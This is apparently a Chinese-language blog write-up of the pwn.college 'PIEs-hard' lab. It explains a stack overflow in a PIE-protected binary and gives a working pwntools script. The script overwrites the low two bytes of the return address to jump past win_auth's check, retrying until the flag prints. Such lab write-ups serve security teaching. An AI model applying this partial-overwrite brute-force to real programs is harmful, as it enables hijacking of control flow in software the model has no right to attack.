PIEs-hard

题目简介

程序开启了PIE保护,因此程序每次加载的基地址都是不确定的;我们无法再得知后门函数或者shellcode的真实地址,需要通过爆破的方法拿到shell

通过这题记录一个小trick,有关PIE的基础理论在这里二进制总结

漏洞点分析

首先checksec看一下,发现除了cananry全部保护开启,直接断绝shellcode的念头


先考虑有没有后门函数,将二进制文件拖入IDA,可以看到有一个win_auth函数,同时溢出点在challenge函数

这样的话漏洞点就清晰了,就是通过覆盖challenge函数的返回地址来跳转到win_auth即可

漏洞点利用

首先计算偏移,同样在IDA里看缓冲区相对于rbp的偏移然后+8即可,算出来是120

接下来通过objdump看到win函数相对于程序装载基地址的偏移=0x1ab2


但是这里有一个问题,我们不能跳转到0x1ab2,因为win函数入口处存在对参数值的校验,只能跳转到校验逻辑的后面,比如0x1ace

最后,我们需要覆盖最后一个半字节,爆破剩下的15位十六进制数

一个小trick,个人习惯把偏移加上个1、2左右,从做的题目来看,这样可以更早撞上(maybe程序装载基地址倒数第4位是0的概率更小?不太确定……),但不管怎么说,碰撞16次以后就有很高的概率可以碰对了

最后的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux', arch='x86_64',log_level='debug')
offset=120
returnAddr=0x2ace
while True:
payload=b'a'*offset+p16(returnAddr)
ioTube=process("/challenge/binary-exploitation-pie-overflow")
ioTube.recvuntil("Send your payload (up to 4096 bytes)!\n")
ioTube.send(payload)
response=ioTube.recv().decode()
if r"pwn.college{" in response:
open("flag.txt","w").write(response)
break

脚本运行完毕后可以在当前目录的flag.txt中找到flag


PIEs-hard
http://0x4a-210.github.io/2025/07/19/pwn.college/Intro-to-Cybersecurity/Pwn/PIEs-hard/
Posted on
July 19, 2025
Licensed under